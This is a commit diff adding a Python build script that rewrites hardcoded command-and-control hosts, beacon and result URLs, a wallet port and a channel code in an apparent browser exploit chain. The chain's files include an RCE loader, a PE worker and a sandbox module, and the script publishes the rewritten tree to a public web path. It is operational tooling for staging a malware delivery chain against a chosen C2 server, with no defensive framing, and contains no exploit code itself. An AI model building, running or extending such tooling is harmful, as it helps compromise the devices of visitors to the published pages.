feat: 18
This commit is contained in:
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Rewrite hardcoded host literals in source/ to --c2 and publish → public/next-chain.
|
||||
|
||||
channel-builder-ds-new: 11-file exploit tree matching external globals-game.com/a18/.
|
||||
Build does string replacement on hardcoded hosts (iy491j2ltb2i2sv.icu) → --c2 origin,
|
||||
then copies source/ to public/next-chain. rce_loader.js derives the page directory
|
||||
from location.pathname so the worker's desiredHost carries the /next-chain/ prefix,
|
||||
making all getJS() calls resolve under the same base — no root-mirror needed.
|
||||
|
||||
php artisan ds:build-new --c2 http://192.168.31.130:8000
|
||||
php artisan ds:build-new --c2 https://c2.example.com
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import shutil
|
||||
import sys
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlparse
|
||||
|
||||
TOOLS = Path(__file__).resolve().parent
|
||||
BUILDER_ROOT = TOOLS.parent
|
||||
PROJECT_ROOT = BUILDER_ROOT.parent
|
||||
DEFAULT_SOURCE = BUILDER_ROOT / "source"
|
||||
DEFAULT_DEST = PROJECT_ROOT / "public" / "next-chain"
|
||||
|
||||
TEXT_SUFFIXES = {".js", ".html", ".json", ".css", ".txt", ".md"}
|
||||
SKIP_PUBLISH = {"log.html"}
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Endpoint:
|
||||
host: str
|
||||
port: int
|
||||
origin: str
|
||||
tls: bool
|
||||
|
||||
@property
|
||||
def url(self) -> str:
|
||||
return self.origin
|
||||
|
||||
|
||||
def parse_endpoint(raw: str, *, label: str) -> Endpoint:
|
||||
parsed = urlparse((raw or "").strip())
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid {label}: {raw!r} (need http(s)://host[:port])")
|
||||
host = parsed.hostname
|
||||
tls = parsed.scheme == "https"
|
||||
port = parsed.port or (443 if tls else 80)
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((tls and port == 443) or (not tls and port == 80)):
|
||||
origin += f":{port}"
|
||||
return Endpoint(host=host, port=port, origin=origin, tls=tls)
|
||||
|
||||
|
||||
def rewrite_pairs(c2: Endpoint) -> list[tuple[str, str]]:
|
||||
"""Rewrite hardcoded host literals found in source/ → --c2 origin.
|
||||
|
||||
The only host present in the ds-new source tree is iy491j2ltb2i2sv.icu
|
||||
(PE worker C2 URLs, embedded as escaped strings inside a webpack module
|
||||
in pe_worker.js). Legacy hosts — muiu38.cc, nuhn93.cc, mh0usocqzi6f46i.com,
|
||||
one99.vip, 192.168.31.130 — and all object-literal/port-only variants have
|
||||
been removed; re-add them only if a source file actually starts using them.
|
||||
|
||||
Order matters: longer/more-specific strings first to avoid partial matches.
|
||||
"""
|
||||
return [
|
||||
# --- iy491j2ltb2i2sv.icu: PE worker C2 beacon/result host (escaped in webpack string) ---
|
||||
("https://iy491j2ltb2i2sv.icu/beacon", f"{c2.origin}/beacon"),
|
||||
("https://iy491j2ltb2i2sv.icu/result", f"{c2.origin}/result"),
|
||||
("https://iy491j2ltb2i2sv.icu", c2.origin),
|
||||
|
||||
# --- port: rewrite HQ_WALLET_PORT (escaped-quoted form inside webpack string) ---
|
||||
('const HQ_WALLET_PORT = \\"443\\"', f'const HQ_WALLET_PORT = \\"{c2.port}\\"'),
|
||||
|
||||
# --- channel code: inject __CHANNEL_CODE__ (prepended by sbx1_main.js at runtime) ---
|
||||
(
|
||||
'const C2_CHANNEL_CODE = \\"\\"',
|
||||
'const C2_CHANNEL_CODE = (typeof __CHANNEL_CODE__ !== \'undefined\' && __CHANNEL_CODE__) || \\"\\"',
|
||||
),
|
||||
]
|
||||
|
||||
|
||||
def rewrite_text(text: str, c2: Endpoint) -> str:
|
||||
for old, new in rewrite_pairs(c2):
|
||||
if old != new:
|
||||
text = text.replace(old, new)
|
||||
return text
|
||||
|
||||
|
||||
def rewrite_tree(root: Path, c2: Endpoint) -> int:
|
||||
hits = 0
|
||||
for path in root.rglob("*"):
|
||||
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
|
||||
continue
|
||||
raw = path.read_text(encoding="utf-8")
|
||||
new = rewrite_text(raw, c2)
|
||||
if new != raw:
|
||||
path.write_text(new, encoding="utf-8")
|
||||
hits += 1
|
||||
return hits
|
||||
|
||||
|
||||
def publish(staging: Path, dest: Path) -> None:
|
||||
dest = dest.resolve()
|
||||
dest.parent.mkdir(parents=True, exist_ok=True)
|
||||
tmp = dest.with_name(dest.name + ".building")
|
||||
old = dest.with_name(dest.name + ".old")
|
||||
if tmp.exists():
|
||||
shutil.rmtree(tmp)
|
||||
|
||||
def ignore(directory: str, names: list[str]) -> set[str]:
|
||||
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
|
||||
return skip
|
||||
|
||||
shutil.copytree(staging, tmp, ignore=ignore)
|
||||
if dest.exists():
|
||||
if old.exists():
|
||||
shutil.rmtree(old)
|
||||
dest.rename(old)
|
||||
try:
|
||||
tmp.rename(dest)
|
||||
except OSError:
|
||||
dest.rename(tmp.with_name(dest.name + ".restore"))
|
||||
raise
|
||||
shutil.rmtree(old)
|
||||
else:
|
||||
tmp.rename(dest)
|
||||
|
||||
|
||||
def build(
|
||||
source: Path,
|
||||
dest: Path,
|
||||
c2: str,
|
||||
dry_run: bool = False,
|
||||
) -> dict:
|
||||
if not source.is_dir():
|
||||
raise SystemExit(f"source not found: {source}")
|
||||
|
||||
c2_ep = parse_endpoint(c2, label="--c2")
|
||||
|
||||
if dry_run:
|
||||
return {"c2": c2_ep.origin}
|
||||
|
||||
staging = BUILDER_ROOT / "out" / "staging"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging)
|
||||
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
rewrite_tree(staging, c2_ep)
|
||||
publish(staging, dest)
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
return {"c2": c2_ep.origin, "dest": str(dest.resolve())}
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
ap = argparse.ArgumentParser(description="Rewrite hardcoded hosts to --c2 and publish source/ → public/next-chain")
|
||||
ap.add_argument("--c2", default="", help="C2 origin, e.g. http://192.168.31.130:8000")
|
||||
ap.add_argument("--origin", default="", help="alias of --c2")
|
||||
ap.add_argument("--delivery", default="", help="(ignored, kept for backward compat)")
|
||||
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
||||
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
||||
ap.add_argument("--dry-run", action="store_true")
|
||||
args = ap.parse_args(argv)
|
||||
|
||||
c2 = (args.c2 or args.origin or "").strip()
|
||||
if not c2:
|
||||
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
|
||||
|
||||
result = build(
|
||||
args.source,
|
||||
args.dest,
|
||||
c2,
|
||||
dry_run=args.dry_run,
|
||||
)
|
||||
print("dry-run" if args.dry_run else "published")
|
||||
print(f" c2 {result['c2']}")
|
||||
if result.get("dest"):
|
||||
print(f" dest {result['dest']}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user